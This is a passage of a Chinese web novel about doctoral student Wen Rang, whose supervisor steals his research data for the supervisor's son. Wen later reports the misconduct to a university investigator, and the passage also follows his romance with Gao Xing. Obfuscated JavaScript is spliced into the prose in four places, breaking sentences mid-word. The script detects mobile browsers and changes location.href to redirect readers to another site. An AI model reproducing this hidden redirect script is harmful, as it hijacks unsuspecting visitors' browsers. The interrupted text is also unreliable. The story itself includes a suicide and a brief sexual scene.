她身上有股劲儿,是王咏智这样养尊处优长大的少爷没有的。 其中一位面试她的老师非常看中她的心气,想把她收入师门,可惜研究方向不符合,汤缈还是来了葛椿这边儿。 汤缈不算天资聪慧的人,全凭努力,但她没想到像温让这样脑子好使的人,比她还要努力。 第一个到,最后一个走,每天除了写论文就是做实验。 汤缈遇到不会的地方,温让总能耐心解答。面对王咏智这样愚蠢的水货,有时候连汤缈都看不下去了,温让却不为所动,心平气和地做着自己的事。 温让就是个定心丸,有他在,实验室的天就不会塌下来。 完成上午的任务,汤缈跟着温让一块儿去食堂吃饭。 “温师兄,你听说了吗?最近隔壁大学的团队成功复刻LK-99了。”汤缈端着餐盘,坐到温让对面。 “听说了。”温让说,“但不知道是否有效,之前复刻的多多少少都出了些问题。” “温师兄,下午我可以提前半小时离开吗?” “你有事就先走,没关系。” “谢谢了,我明天补上。哦对了,王咏智给我发消息说,他今晚来实验室帮忙写报告。”汤缈压低声音,“师兄,你尽管使唤他,别跟那小子客气,他就是被惯坏了,这样下去,怎么能毕得了业。” 温让笑了笑,“我觉得今天的实验应该会很成功,他来学习写一次成功报告,也挺好的。” 毕竟王咏智的实验就没成功过。 汤缈很喜欢温让这种淡淡的损,“师兄我跟你说——” “缈缈!” 听到这熟悉的粗犷嗓门,汤缈脸色一下就变了,饭还没吃两口,端起盘子就要走。 “诶,缈缈你躲什么啊。” 温让瞅了那人一眼,最近总蹲守在红楼外面给汤缈送花。 他看向窗外,生出嫩芽的高大树木,春天确实到了,但与他无关。 晚上六点半,王咏智出现在电脑前,戴上他那昂贵的防蓝光眼镜,专注地敲着键盘。 温让摘下手套,从他身后路过,冷不丁一看,敲键盘敲得这么连贯,原来是在聊天。 他抬手敲了敲王咏智的肩膀,“九点前能写完吗?” “能,肯定能,放心吧您嘞。” “我九点得准时关实验室的门。”温让说,“你抓紧了。” “好。” 王咏智写报告问题一大堆,温让被他问得基本没法正常看文献,索性拖了把椅子坐到他旁边,随问随答。 “师兄,这次这么成功,咱们是不是可以把这些数据整理好,发文章了?” “嗯。”温让想了想,“等葛老师看完报告再说。” “师兄,你已经发过文章了?” “二作。” “和谭师兄的那篇?” “对。” “他那个课题,你也付出了不少吧,为啥只给你二作。” “毕业要求有一条是必须有一篇独立一作。” “这样啊……”王咏智若有所思。 “所以你要好好努力了。” “我会的。” 后来的几天,王咏智来实验室倒是越来越勤了,总跟着他后面转悠,温让以为他开了窍。 没过多久,葛椿就在组会上公开表扬了王咏智,并决定用他的数据发SCI,王咏智独立一作,温让和汤缈二作。 温让以为自己听错了,王咏智哪来的数据?那些数据都是他用无数次失败换来的,用自己的日日夜夜熬出来的。 “葛老师……”温让克制住情绪。 葛椿抬手示意他先别说,“温让留下,我和你聊聊。” 同样难以置信的还有汤缈,她几乎是被王咏智拖出葛椿办公室的。 一出去,她就甩开了王咏智的手,“王咏智你他吗要不要脸?” “汤缈,话可不能乱说。”王咏智一脸镇定,完全没了平时吊儿郎当的样子,“你怎么证明数据不是我做出来的?我这几天可是天天泡实验室。” “日期总有吧,温师兄出结果的那天……” “那天我也在,报告也是我写的。” “之前你可是一次都没去!” “不好意思,实验室的监控有几天是坏的。” “你……”汤缈气不打一处来,“你早就算计好了。” “这是我努力的结果,你不要随意造谣,而且汤缈,咱们是同门关系,你这样造谣我,无非是想和我争文章罢了。” “这文章本来就该是温师兄一个人的!” 王咏智低头看表,“不好意思,我得回去写论文了,与其在这儿打抱不平,你不如好好想想自己的文章怎么解决吧。” 温让出来的时候,汤缈还没走,靠在走廊的墙上,一个劲掉眼泪。 “哭什么。” “温师兄…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232055|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我没事。” “老师跟你说什么了?”汤缈抽泣着,“不带这么欺负人的。” “汤缈。”走廊的灯光泛白,比实验室的仪器更冰冷,“不要为我的事得罪他们。” “我看不下去……明明你每天都那么辛苦,凭什么啊?明明都是接受高等教育的人了,凭什么还跟强盗一个样?!” “王咏智,姓葛。” 汤缈愣在原地。 不是什么侄子,是葛椿的亲儿子。光明正大地利用裙带关系进了南城大学物理学院,又光明正大地让亲爹做了导师。 葛椿的确欣赏温让,但他根本没有要在退休前再干一番大事业的想法,他把温让争取过来,无非是利用这块垫脚石,给自己的儿子铺一条坦途。 “一般这种学阀都是把子女送到其他高校的教授手下读博,葛椿的胆子也太大了,他不怕被举报吗?” 听温让讲完,高幸也跟汤缈一样生气。 “葛咏智实在太让人不省心,葛椿才把他安插到了自己身边。”温让说,“至于举报,我确实想过,但被拦下了。” “是葛椿?”高幸仔细一想,“不对,他当时在办公室已经贿赂过你,不会再从你下手……难道……是温家?!” “嗯。” 温让不是会随便妥协的人,学术造假违反了他的底线,可是他前期太相信葛椿,根本没有提前收集证据的意识。 但他也确实没想到,让他妥协的会是温霖。 葛椿是个聪明人,早就调查了温让的背景,从商的大家族多多少少有些腌臢事,葛椿人脉广,又怎么会打听不到。 对温霖来说,什么学术成果都没有他的名声重要。 “温让,不过是一串数据,给他就是了,你的名字叫‘让’,谦让的让,别搞些读书人清高的把戏,社会不需要清高。” “就是啊温让。”华悦也在一旁帮腔,“你那么聪明,再写一篇文章就是了,有什么大不了的。” “哥哥,你不要和这些人一般见识,退一步海阔天空,等你毕业了就好了。” 所有人都在以为他好的名义“劝解”他。 后来,就连汤缈也退了学,准备重新择校。 又剩下他一个人。 或者说,他始终都是一个人。 葛椿还有个女儿,给某藤校捐了一栋楼才顺利入学,研究的也是超导材料方向。温让做出来的下一个数据,被葛椿当作生日礼物,送给了远在大洋彼岸的女儿。 因为一直没有独立一作的文章,温让的毕业时间也被延迟。 又一年春天,南城大学文清湖畔,杨柳依依,樱花初绽。 一道警戒线拦住那些扛着相机想要捕捉校园春色的身影,四周围了不少人,但大多数人都是匆匆路过,打听几句,便赶往下一堂课的教室。 又一个博士生投湖自杀了。 温让认识死者,也是他们学院的,遗书只有寥寥六字 「愧对当年的我。」 温让站在柳树下,春风拂动枝条,也拂过他的衣角。 他打开了第二封关于学业的信,一字一句读到最后,字迹有些模糊了,隐隐有些淡红色的痕迹。 有人为春天而活。 有人死在春天。 …… 高幸紧紧攥住温让的手腕,急切地问道,“你之后有没有收集证据?我们不要妥协,永远不要。” “放心。”温让释怀一笑,“最迟下个星期,学校就会成立调查组。” “举报邮件我在去丹麦之前就已经写好,设置了专门的发送时间。” 这个时间好巧不巧,正好是葛咏智的论文收到录用的日期。 “阿幸,我会解决好所有的事,给你一个光明的未来。” 42. 调查组:莫真 「调查组:莫真」 温让没有利用舆论造势,这是他对南城大学——这座百年老校最后的信任。 他在提交举报邮件后,想过很多种学校的回应方式,没有舆论监督的情况下,他们大概会息事宁人,找到温让私下解决,毕竟这种事一旦传出去,对学校的名誉也会造成影响。 可让温让没想到的是,学校在两天后就发布了通知,并宣布成立专案组调查此事。 当天下午,官网出现了卡顿,各大社交网站也都在议论。 出于对举报人的保护,学校没有透露任何关于温让的信息,物理学院的师生们也在好奇,到底是谁这么勇敢,敢直接举报院里风评向来不错的老教授葛椿。 持观望怀疑态度的人占大多数,可见葛椿的表面功夫做得有多好。 调查组的负责人联系温让时,他和高幸正在卿茗茶馆吃午饭。 周六,茶馆顾客多,宋娟忙不过来,温让和高幸就主动去了后厨。 宋娟没有和他寒暄的时间,两人只是浅浅打了个照面,等到中午,顾客走了一些,她才有空坐下来和温让吃一顿午饭。 宋娟这些年在茶馆也挣了些钱,但衣着还是那么朴素,深蓝色的夹袄,黑色绒裤,两鬓生出银丝,时间的痕迹爬上眼尾,看向温让的眼神依然慈爱。 “你小子可算是找着对象了。”宋娟打量着高幸,目光没有一丝冒犯,“小高也是江城人?” “是的,娟姨。”高幸端端正正地坐着,有些拘束。 “不用客气啊小高,想吃什么就说,虽然我不是老板,但在茶馆都几十年了,拿点吃的给你们还是没问题的。” “谢谢娟姨。” “对了娟姨,我这次来,其实——” 这时,温让放在桌上的手机震动起来。 温让去旁边接电话,宋娟趁机问了高幸一句,“小让这些年过得还好吗?” “他……”高幸低垂着眉眼,没有和宋娟对视,“蛮好的。” “学业、事业都很成功吧?” “嗯,娟姨你放心吧。” “那就好。”宋娟用发夹别好两侧垂下来的碎发,“那温老爷子在天上,也放心了,泽润也该放心了。” 嘴里清淡的茶水更苦涩,高幸默不作声地咽下去。 “小高啊,我想多一句嘴,你俩现在这年纪,有结婚的打算吗?”宋娟的眼袋很重,不知是岁数上去的缘故,还是没休息好。 “我们还没聊这些。”高幸实话实说。 “我就问问,没别的意思,主要是我这年龄也大了,我还挺想看着小让成家立业的。”宋娟说道,“虽然我不是他的亲人,这些年也没帮过他什么……” “娟姨别这么说,温让很珍惜你们每一个人。” “我知道的。”宋娟笑了笑,“我家里还放着好多他寄来的保健品,没来得及吃呢。这孩子重感情,可惜老天爷总是对他很残忍,要让他在本该享受童真的年纪,一次次经历离别,我人生都活了大半了,但还是不太明白,人非得经历这些吗?” 「苦难真的是命运的馈赠吗?」 高幸想到了大二那年的现当代文学课,老师在讲完老舍的生平后,抛出的一个问题。 回答问题的人很多,但她一个回答都记不起来了,只记得老师在下课铃响的时候,说的那句“希望你们永远不要被苦难找上门”。 “娟姨,老一辈的人觉得这些都是命。” “那你们可千万不要认。” “不会的。”高幸侧过头,看向站在窗边接电话的男人,“一定不会的。” 温让通完电话走过来,“阿幸,我下午得去趟学校。” “我们一起。” “娟姨,本来说好今天要留在这儿帮忙的……” “咱俩还说这些?你忙你的,忙完再来找我就是了。” “这段时间,如果有温家的人来找你,你就说没见过我,无论他们问什么,都说不知道。” “好,放心吧。” · 这是温让第一次来到学校的“教师职业道德和纪律委员会”办公室。 在这之前,他都没听说过这组织。 和他对接的人叫莫真,看着40岁出头,身材像是常年坐办公室坐出来的,衬衣塞进裤腰,肚子微微鼓起,高度近视的眼镜把他瞳孔缩小,说话也一股官方味。 整个谈话的过程,都被旁边的警察监视着,看到警察在,温让倒是安心了不少。 温让从头到尾把事情复述了一遍。 葛椿如何说服他加入课题组,葛咏智在他的帮助下数次盗取实验数据,向国外泄漏实验结果,以及论文代写。 除了第一次被盗数据的事没能收集到证据,其他的证据链都相当齐全。 “你收集这些,花了多长时间?”莫真问道。 “四年。”温让轻而易举地说出来。 “四年?你现在的年纪按理说应该博士毕业了,所以这些事直接导致你博士被延毕。” “嗯。” “就为了收集证据?这样的代价是否太大,还是说你不相信学校会秉公处理?” 温让没有直接回应他的话,而是提出一个问题,“葛椿的女儿能力很差,屡次申请藤校被拒,最后事葛椿给某藤校捐了一栋楼才解决她的学业问题,他的钱哪儿来的?” 两警察正低头做记录,一听这话,同时抬起头。 “物理学院的资金流动有没有出过问题?”温让平静地抛出连环问,“实验支出向来很大,财务年度审核出现过差错没?葛椿课题组每年发的钱都不少,我都存在学校发的卡里,一分没动,如果你们需要调查我作为学生收到的每笔账,我可以把卡交出来。” 莫真后背冷汗直冒,他只是应了上级要求过来调查这件事,本以为只是普通的学术造假、师风师德问题,把教师开除,安抚一下学生就能解决,谁能想到会牵扯出这么大的根蒂。 “温同学,这些话你要考虑清楚再说。” “四年,我想我已经考虑得很清楚了。” “你方才那话,可没把自己摘出去。”莫真在提醒他。 “我说得很清楚,所有钱一笔没动,我可以全部上交,这算受贿?” “温同学,如果葛椿的女儿在国外,那这就涉及到……”莫真甚至不敢说出那几个字。 国家安全。 这样的罪名可不是随随便便就能安上去的。 “葛椿是个聪明人,他不至于。” “所以我只是提交证据,接下来要怎么查是学校的事。” 温让话虽这么说,眼里却淡漠到了一种凌厉的程度。 “既然葛椿选中了我,给我上了很多课,那我也应当回报他一些东西。” 莫真的掌心出了汗,蹭到了裤腿上。 “我们也问了你们院里的老师,他们都夸你,同时也为你休学的事感到惋惜,还有位教授说,可以让你去他的名下,只要你能顺利毕业,以你的成果,留校都没问题的。”莫真把上级交代的话都说了出来。 温让看了眼不为所动的警察,“这是你们给我开的条件,是吗?” “不是不是,温同学你别乱想。”莫真生怕被扣上“贿赂受害人”的帽子,“葛椿那边我们肯定会公平处置的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我以前去对面大学带过太极课,这丫头回回站角落,但动作却是学得最标准的。”程劲说,“倒是没想到,这些年过去,你还记得我。” “程老不也记得我?” “那是因为我记性好。”程劲背着手,看向温让,“这你对象?” “他是我男朋友,叫温让。” 程劲的笑容凝住,“温让?” “程老师您好,刚才还是我人生中第一次打八段锦。” “你……认不认识李泽润。”程劲试探性问道。 温让不明所以,但还是老实回答了,“他是我一个叔叔。” 程劲一把揽过两人的肩膀,“缘分!这就是缘分!” “您?” “泽润离开那年,我恰好出国访学。”程劲说,“他的墓前每年都有一张明信片。” 他看向温让的目光越来越柔和,“是你放的吧。” “您是泽润叔的故交。” “我已经好多年没听到李泽润的名字了。”程劲的鼻头有些泛红,“还好,还有你在,这个世界上,还有一个记得他的人在。” 高幸挽上两人的胳膊,“既然这么有缘分,今晚就痛痛快快地吃一顿,叙叙旧。” “没问题。” 温让摸了摸高幸的后脑勺,“好。” 李泽润,程劲。 原来他们的世界,一直隐隐有交集。 43. 太极课:程劲 「太极课:程劲」 程劲平日里少与人来往,为数不多的“朋友”还都不是人,猫、狗、鱼、鸟,都成了他的倾诉对象。好不容易逮着两个志同道合的年轻人,便聊了个酣畅淋漓。 从国际大事聊到柴米油盐,从活着聊到死去,从深海聊到星空。程劲懂的很多,和他们交流的过程中,却没有丁点儿长辈的说教。 烤肉店人满为患,隔壁聚集了一桌大学生,闹闹嚷嚷地在玩饭桌游戏。 程劲要了一箱啤酒,聊着聊着就空了大半。 温让得开车,不能喝酒,高幸难得见程劲一面,便陪着他喝了几杯。温让一直留意着她的酒杯,喝得差不多了就轻声提醒了句,“再喝下去就醉了。” “醉!就是要醉!人就不要活那么明白,糊涂也是财富。”程劲又夹了块五花肉丢到高幸碗里,大吼一声,“吃!” 高幸夹肉的手颤了下,“好!” 空杯被斟满,“喝!” “好……” “诶,我刚才让服务员拿盘辣椒面,咋还没来。”程劲大着舌头问道。 “我去催一下。”温让起身的同时,还不忘叮嘱高幸,“小口喝。” “放心,我有数。” 他前脚刚离开饭桌,后脚隔壁就来了个男大学生。 男生高高瘦瘦的,一头棕色卷毛,戴着个大黑框眼镜,一股子网红气质。 “不好意思同学,我可以要你的联系方式吗?”说完,男生又靠近高幸的耳侧,“我大冒险输了,帮帮我好吗?” 隔壁桌开始起哄。 “说啥悄悄话呢奇仔。” “不许犯规啊。” 程劲正要帮着把人打发走,一看面前多了盘辣椒面,“这么快。” 温让走过去,什么也没说,直接坐在了高幸的旁边,卷毛被他挤得往后退了两步。 “小子,有点儿眼力见吧。”程劲把牛肉往辣椒面上一裹,笑呵呵地塞进嘴里。 “玩儿游戏嘛,帅哥,别介意啊。”卷毛碰了碰温让的肩膀,“都是后面那帮子人让我来的。” “诶奇仔,刚才是谁说隔壁桌的女生真漂亮,闹着要去加微信的。” “就是就是,还把锅扣咱们头上了。” “我就说人家名花有主了吧,一个个的头这么铁。” “你们都给我少喝点儿吧。”卷毛笑骂着回到自己位置上。 程劲醉了,察言观色的本领却半分不减,瞅着温让云淡风清的样子直笑。 高幸只当这是个小插曲,也没放在心上,把烤好的、盛满汁水的口蘑放到温让的碗里,然后又跟程劲聊起了天。 “小高这孩子,心还是这么大。”程劲的话也不知道是对谁说的。 “嗯?我怎么了?” 高幸喝了酒,脸颊红彤彤的,长发碍事,随手扎了个丸子头,凌乱松弛,有种毫不费力的漂亮。 “你以前上课也这样,那些男同学的心思都浮在表面了,你就跟不开窍似的。”程劲边说边看温让的脸色,“想不到你喜欢的是这样的。” 高幸一只手撑着脑袋,“你当年不就问过我吗,为什么不喜欢他们。” “是啊,我到现在都记得你的回答。”程劲说完,看向温让,“小子,想不想知道高幸的回答是什么?” “程老师想让我帮您做什么?” “上道!”程劲一拍桌子,压低声音,“去帮我买瓶——” “程老,不可以再喝了。”高幸制止道。 “哎呀,我酒量好。” “也不行。” “你这丫头,还是这么麻烦。”程劲指指点点,埋怨道,“爱管人。” 温让一笑,就被程劲逮个正着,“她是不是也这么管你?” “没有。”温让说,“阿幸从不管我。” “你这语气,听着还挺遗憾,难道你想被管?” “如果是阿幸,那我愿意。” 程劲啧啧称奇,“真腻歪。” 高幸趁胜追击,往温让的肩头一靠,“温让,我醉了。” “诶呀。”程劲就差没把眼睛捂上了,“小情侣看着真烦。” 嘴上这么说,程劲的心里却乐开了花。 高幸这个名字,他在第一节课就记住了,实在太好记。 他还记得当时一念“高幸”,自己的唇角就忍不住上扬,然后看向站在最后一排角落的女孩。 太极课是几个专业一块儿上的大课,一半以上都是理工科的学生,男生众多,女孩子一般都会主动往前面站。 高幸除外。 她总是卡点到操场,也没人给她留位置,只能站最后。 班上有好几对情侣,有的是原本就在一起的,有的是上太极课认识后在一起的,其中不乏为了课后约会盛装出席的漂亮女孩,以及为了“求偶”孔雀开屏带着一身浓烈香水味的男孩,真正喜欢太极的学生少之又少。 上课的时间一长,程劲对他们的大致性格都琢磨出来了。 但是高幸不一样,女孩子身形高挑,打扮得清清爽爽的,永远都是简单的白T灰色运动裤,素净一张脸,专注得学着每一个招式。 天气一热起来,大家就总想着往阴凉处躲,一点儿太阳都不肯晒。 程劲只要一说休息,人就没影了。 只有高幸和另一个叫姜澈的男生会找到他,询问一些动作要领。久而久之,他们就熟悉起来。 程劲看得出来,高幸是真喜欢太极,姜澈也是真喜欢高幸。 出于对高幸的欣赏,他也不由得以长辈视角审视了姜澈,小伙子人不错,至少从课堂的观察来看,他还是配得上高幸的。 程劲自然不会插手小年轻的事,但有一天,高幸的位置空了。 他一问,才知道她去医院了。 下课的时候,程劲去休息室接水,路过男厕所,无意间听到几个人的对话。 “姜澈,你要不别追高幸了,你看她最近那个舞蹈视频,就穿个露腰的吊带背心,像什么样啊。” “对啊,她平时看着清高,跳起舞来可骚了,扭得跟麻花精似的。” “女孩子跳点古典舞就好了,多温柔,多灵气。” “我同意,姜澈,你别去热脸贴冷屁股了,你又不差。” “大家都是兄弟才跟你说这些,她今天还去医院了,指不定染什么病呢,他们街舞圈超级乱的,都爱乱约,他们舞队一个跳hiphop的男的我认识,约/炮软件常客了。” 姜澈打着哈哈,“你们说的我会考虑的,别担心,我倒还不至于被女人骗。” “就你小子聪明,你该不会想把人睡一遍就算了吧?” “诶你还真别说,跳爵士的女的在床上肯定带劲,诶卧槽。” “啊啊啊。” 一杯子滚烫的热水泼到他们身上,几个男生跳着脚乱骂一通。 程劲气得满脸通红,“一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那可说不准,老天爷跟你反着来的,你越想得到越得不到,反而是越不抱有期待,结果越好。” 夜里十点,程劲停在自家小区门口,回望着方才跟他道完别的年轻人。 女子的脚步有些混乱,好在身旁有一只坚定搀扶着她的手,她就着温让的手,在路灯下转了几个圈,转着转着就撞进了男人怀里,然后嬉笑着又分开。 “要幸福啊,两个好孩子。” 程劲苍老的脸上,笑意深深。 …… 高幸这两天都和温让住在他临时租的公寓里。 一进公寓门,后腰就被托住了。 “温让,我想先洗澡。” “嗯。” “你抱得有点紧,我一身烤肉味。” 男人低笑声在耳边荡开,“好,我们先洗澡。” “我们”两个字咬得很重,高幸被酒精熏红的脸又被黑夜升了温。 浴室的镜子起了水雾,很快显出一个手掌印。 高幸撑着镜子勉强站立,耳后呼吸灼热,“你、你今天说,想、想被我、管……” “嗯。”温让箍住她线条劲而美的腰,稳稳扶住,“想被你管。” “还想什么。” “被你亲。” 高幸反手勾住他的脖颈,转过头,笑着吻上去,水声交缠,含糊着问,“还有呢。” “喝了酒这么好商量?” “所以你要,抓紧机会。” “还想给你……”最后一个音落下,温让吻在她的耳垂上。 高幸闭上双眼,欢愉的泪渗出眼角。 “温让,我很幸福。” “以后只会更幸福。” 44. 证人:汤缈 「证人:汤缈」 三天后,温让接到了一个陌生来电。 最开始他还没听出汤缈的声音,比起几年前,她的嗓音明显沙哑了许多。 她和温让约在了南城附属中学外面的咖啡馆见面。 见了面才知道,原来她退学重新考研考到了一所师范院校,毕业后顺理成章进了中学当物理老师,连着带了将近两届毕业班,汤缈的嗓子也成了让家长听了都放心的声线。 “温师兄。”汤缈还保持着以前的称呼,一时半会儿改不过来,“我是完全站在你这头的,希望能帮上你忙。” 学校那边并没有找汤缈作证,毕竟她早就退学了,但汤缈一听说温让举报葛椿的事,立马联系了南城大学,把当年她的所见所闻悉数告知。 “谢谢。”温让说,“这件事我相信学校会秉公处理,他们已经联系警方了,而且葛椿犯下的事还不止这一件。” “他就是太贪婪了,还以为学生不敢拿他怎么样呢,温师兄,以前觉得你总是温温柔柔的,没想到你才是最有种的一个。” 汤缈是个宁折不弯的性子,看不下去就离开,退学这样的大事,她都不带犹豫的。但她当年想不通,温让为什么还要留在那儿。 现在她明白了,适当的示弱与潜伏,只为了一击致命。 温让把一大罐茶叶推到汤缈面前,“这是我和我女朋友在我们老家那儿买的,这茶很不错,拿回去尝尝吧。” “师兄太客气了。”汤缈戏谑地看着他,“女朋友?” “她今天有点事,就没过来。” “真好,你终于有对象了。”汤缈转了转无名指的婚戒,“我年底领的证。” “是当年那个……总是给你送花的?”这人给温让留下了相当深刻的印象。 汤缈摇摇头,“跟他谈过,后来分了,结婚对象是家里人介绍的,也是位老师,比较靠谱。” “挺好的。”温让笑道,“送花那位看着确实不太靠谱。” 他记得那位男同学嗓门很大,笑起来爽朗帅气,长相身材一看就是不缺对象的,还老是抱着一大束火红的玫瑰,走哪儿都打眼,跟李听墨倒是有些像。 “是啊。”汤缈的目光落在婚戒上,淡淡一笑,“结婚嘛,可不能儿戏。到了一定的年纪,就没那么喜欢花了。” 温让捕捉到她眼底闪过的失落,“你现在的工作应该也很稳定了。” “教师编制,只要我不犯什么错,一眼就看到头了。”汤缈说,“我和我对象计划明年备孕,因为我俩都是老师,小孩的学校基本也不愁,公积金高,房贷没啥压力,父母虽然不在身边,但各自都有保险,养老问题也不大。” “挺好的。” “的确,在很多人看来,我的生活已经很不错了。”汤缈搅拌着咖啡,“我自己也……挺满意的。” “那怎么看上去,没以前开心了?” “大概是我成熟了吧。”汤缈笑笑,“总不能老像以前那样傻笑。” 温让了然,成年人都有自己的不易,他没再追问。 两人沉默了一会儿,各怀心事。 “又或许,是我没有以前的心气了。”汤缈突然开口。 她想起办理退学手续那天,偶遇了考研复试对她称赞有佳的那位教授。 教授跟她本人风风火火的性子一样,走路也带风,完全看不出来已经是五十岁、当奶奶的年纪。 听说她退学的事,汤缈以为教授会皱着眉头劝阻,但她没有。教授只是像一个普通长辈那样,郑重地安慰地拍拍她的肩膀,说道,“如果你已经考虑好了,那就朝着新的方向走下去,你身上有股劲儿,只要劲儿还在,走到哪儿都不会输。” 汤缈把这句话抄到了手机备忘录里,在她重新备战考研坚持不下去时,就拿出来看看。 以前在学校图书馆备考,身边都是考研大军,哪怕跟周围的人没说过几句话,从夏天到冬天,长时间备考下来,大家有了些默契。考研前几天,座位附近一个接一个地空了,只剩下暖心的纸条,上面写满了鼓励的话。 后来她独自在家里备考,每天除了吃饭就是学习,连个说话的人都没有,一度有些抑郁。 好在她确实凭着那股拼劲儿熬到了最后,初试复试都是专业第一,这次上岸甚至比她考上南城大学更让人激动。 复试的时候,一个老师问她,为什么会从那么好的大学退学? 汤缈真诚地注视着老师的双眼,“因为我在那儿遇到了让我疑惑不解的事,所以我想来南城师范大学学习一下,什么才是真正的,为人师表。” 高校之间,有些话不必点破,大家都心知肚明。 重新开启学校生活,汤缈比以前更拼,师范生需要卷奖学金,一等奖学金是进入一所好学校任职的硬性要求。 那三年时间,汤缈全身心投入到专业学习中,不仅拿下国奖,还获得了省级赛课比赛一等奖,实习去了南城最好的高中,毕业时投出去的简历也都收到了回音,她和家里人商量后,选择了现在的中学。 转折就出现在她工作后。 除了寒暑假可以暂时获得喘息的空间,其他时候都是连轴转,没有绝对完整的一片休息时间,只要学生、家长、领导有要求,她就必须时刻保持状态,不能懈怠。 因为她足够的拼,足够的优秀,学校也把赛课的任务交到了她头上。 但是大家都知道,新老师不管干多少活儿,年限不够,职称就永远上不去,所以课堂外的活儿大多都是白干。 “我记得上学的时候,除了本专业的书籍,我还会去图书馆找些闲书来看,时不时还会跟朋友追追星,聊聊哪部剧好看,又或者在假期出去旅行。”汤缈说,“但是现在,我下班后除了瘫着,什么都不想做,就觉得一切都没意思。” 温让能体会她的意思,“所以是工作耗去你的心气,对吗?” “对。”汤缈挂着两个大眼袋,一看就是常年熬夜导致,“稳定的工作,稳定的婚姻,千篇一律的生活。” “汤缈,你需要注意一下心理健康。” “我知道的,温师兄放心,我虽然有时候比较理想主义,但本质上还是个现实主义者,现实主义……不太会抑郁。”汤缈说,“只会一通抱怨,抱怨完了继续无聊的生活。” 手机上弹出新消息提醒。 汤缈注意到他的手机屏幕亮起,“师兄你先回消息吧,说不定是女朋友发来的。” 温让笑而不语,低头一看,果然是高幸发来的。 阿幸:「图片」 阿幸:回家路上看到一片叶子掉下来,我顺手接住,没想到居然是心形的,送给你,我的心。(嘻嘻非主流一下) 温让的表情以肉眼可见的速度变得轻松愉快。 汤缈看呆了。 之前她和闺蜜聊天,说到一个人真正幸福的时候是什么样子的。两人聊了一大堆,最后却在刷朋友圈的时候,看到一个新婚夫妻的视频。 摄影头捕捉下来他们甜蜜的一切,可是所有拥抱、亲吻、牵手都不如一个简单的对视。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250439|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原来真正的幸福是会冲破屏幕,冲破所有人与人之间疏离的隔阂,直接冲击到心灵。 汤缈就觉得现在的温让,浑身都在冒粉红色的泡泡。 温让快速回复道:我要将这颗心裱起来。 阿幸:好啦,今晚吃什么?我去买菜。 温让:你走到哪儿了? 阿幸:「照片」我也不太认识路,导航呢。 温让:「定位」你就在附近,我马上来接你。 阿幸:你不和师妹吃饭了吗? 温让:她今晚要守晚自习,这点时间都是请假出来的。 阿幸:好。 温让放下手机,说了声抱歉。 “跟我抱什么歉啊,师兄,你是不知道你刚才的样子有多甜蜜,我真的会羡慕死。” “是吗?” “我太好奇了,你女朋友是怎样的人啊?这个能问嘛?” “她……”温让的视线被窗外那个渐渐靠近的小点锁住,不由得勾起嘴角,“很可爱。” 温让口中“可爱”的人一手抱着花,一手拿着手机看导航,嘴里念叨着,“三十米……”她抬头一看,“不就在这儿。” 一个马路的距离,高幸和温让看过来的眼神撞个正着。 她明媚一笑,伸直了胳膊朝男人晃了晃,长款大衣的衣摆也随着摇晃,复古的红格子围巾堆在脖颈处,衬得脸更加小巧。 因为是去跟舞蹈室谈合作,高幸还特意化了淡妆,清婉大方,胜过怀里的那束香雪兰。 汤缈顺着温让的眼神看过去,高幸立马收敛了动作,腼腆笑笑,挥挥手无声sayhi。 “汤缈,那我……” 汤缈立马起身,“走走走,出去见见嫂子。” 温让:“?”怎么比他还急。 现在也确实到了汤缈该返校的时间,两人一块儿出去,高幸把怀里唯一的一束花递给汤缈,“你好呀,谢谢你帮温让作证,你是个很好很好的师妹,谢谢你。” 汤缈猝不及防被塞了一束花,有点没反应过来,“啊?嫂子你太客气了,我还是第一次收到女生送的花。” 她看了温让一眼,大概也猜到这束花本来不是给她买的。 “收着吧,一点心意。”温让说。 “那我就不客气了,好多年没买过花儿了。” “花儿多漂亮,喜欢的话,也可以自己种,我跟温让买了不少种子,你需要的话,可以给你一些。”高幸笑眯眯地说。 “你们的生活这么有情调吗?”汤缈又呆了,她平时都过得什么苦日子,没一点儿乐趣和盼头。 “南城有个花鸟市场,就离这边不远,可以淘到很多花卉绿植,还有漂亮的金鱼和五颜六色的鹦鹉,都是人工养殖的。”高幸说,“而且我刚才逛过来,还看到一个公园,这边环境蛮不错的,你在这边工作吗?” “我上班的地方就在旁边。”汤缈忍不住感叹道,“嫂子真是高能量人。” “汤缈,心气是可以重新养出来的,能量也是可以恢复的。”温让插了一句。 高幸顺着温让的话说道,“我也低迷过很长一段时间,人在不开心的时候看什么都灰暗,很正常。” “那你是怎么……”汤缈欲言又止,她看见温让握过高幸被风吹红的手指,搓了搓。 